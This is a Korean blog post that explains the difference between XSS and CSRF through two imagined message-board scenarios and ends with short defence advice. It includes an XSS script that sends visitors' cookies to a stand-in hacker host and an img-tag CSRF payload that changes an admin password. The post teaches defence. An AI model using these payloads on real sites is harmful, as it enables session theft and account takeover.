티스토리 뷰
XSS(Cross Site Script) 와 CSRF(Cross Site Request Forgery) 는 스크립트 태그를 이용한 대표적인 웹해킹 공격 입니다.
요즘은 대부분 사이트가 방어코드가 잘 되있다고 생각 합니다.하지만 적절한 방어코드가 없다면 공격자는 손쉽게 치명적 손상을 입힐수 있는 해킹 공격 입니다.
같은 방법의 공격이지만 이 둘의 차이점은 공격대상이 클라이언트인가 서버인가에 따라서 으로 구분 합니다.
"클라이언트 , 서버..??" 이렇게 말하면 잘 와닿지 않습니다.
XSS 나 CSRF 에 대한 상세한 내용은 이미 인터넷에 많이 있습니다. 여기서는 전제조건이나 세부 내용은 제외하고 간단한 가상 시나리오로 차이점을 설명 하겠습니다.
1.XSS
공격자가 특정 웹사이트 게시판에 "읽기만 해도 현금 100만원을 쏩니다" 이란 제목의 글을 남깁니다. (클릭을 안할수 없는 군침 도는 제목입니다 ㅎㅎ)
그리고 게시물 내용은 아래와 같이 작성 했습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 | <!doctype html> <html lang="en"> <head> <meta charset="UTF-8"> <title>현금이 팡팡!!</title> <script> location.href="http://iamhacker.com/getCooike.jsp?cookieVal" + document.cookie; </script> </head> <body> <H1>현금 100만월 쏩니다.</H1> </body> </html> | cs |
결국 게시물 조회를 하는 다수의 사용자의 브라우저의 cookie 정보를 해커의 사이트에 전송을 하게 됩니다.
브라우저 쿠키에는 개인정보 부터 세션정보까지도 있기 때문에 외부로 탈취될 경우 위협 요소가 됩니다.
"즉 게시물을 조회하는 불특정 사용자들의 브라우저(클라이언트)를 사용자가 예상하지 못하는 오동작을 일으켜서 공격 하는 겁니다."
2.CSRF
공격자가 관리자 문의 게시판에 "코인 충전이 안되요~~" 이란 제목의 글을 남기고 본문에 아래와 같이 작성 했습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | <!doctype html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> <script> </script> </head> <body> 1000원 충전 했는데 충전이 안됬습니다. 빠른 확인 부탁 드립니다. <img src="/user/modify-password.do?newPassword=new1234!"/> </body> </html> | cs |
관리자는 해당 게시물을 열람하게 되면 브라우저는 본문에 있는 img tag 에 src 경로에 대한 http 요청을 하게 됩니다.
보통은 관리자 패스워드 변경요청은 세션 검증을 해서 기본적 인증수단으로 이용하지만 이같은경우 관리자가 정상적으로 로그인 한상태에서 관리자의 브라우저에서 요청을 했기 때문에 세션인증을 통과하게 됩니다. 결국 관리자 비밀번호를 공격자가 임의로 정한 값을 바꾸게 됩니다.
사실 관리자 비밀번호 변경 URI 를 공격자가 파악을 하기 쉽지 않지만 개인사용자에 비밀 번호를 바꾸는 URI 는 공격자 본인이 사이트 가입해서 해볼수 있기 때문에 쉽게 파악할수 있습니다. 이를 통해 개인사용자 비밀번호 위변조 요청도 할수 있습니다.
"즉 게시물 조회하는 불특정 사용자에게 서버쪽에 값을 비정상적으로 갱신하는 요청을 하게하는 공격 입니다"
이상 XSS 와 CSRF에 기본적인 차이점에 대해 설명했습니다.
사실 치명적인 것에 비해 조금만 신경 쓰면 방어할 수 있는 공격입니다. XSS 나 CSRF 둘 다 입, 출력시 스크립트를 치환하고 CSRF는 추가적으로 인증Token 을 이용해서 방어할 수 있습니다.
자세한 방법은 인터넷 검색해보시면 쉽게 찾으실 수 있습니다
'Web Development' 카테고리의 다른 글
[자바] AES Encrypt Simple Java Source (0) | 2014.03.20 |
---|---|
[웹개발] 웹개발과 한글깨짐 (4) | 2014.02.13 |
[웹개발] Unicode vs UTF-8 (0) | 2014.01.07 |
[정규식] 정규식을 이용한 패스워드 생성 제약조건 [영어,숫자,특수문자 ] 1자 이상 (0) | 2013.10.10 |
[웹개발] 첨부 파일 MIME Type 조회하기 (0) | 2013.07.05 |
- Total
- Today
- Yesterday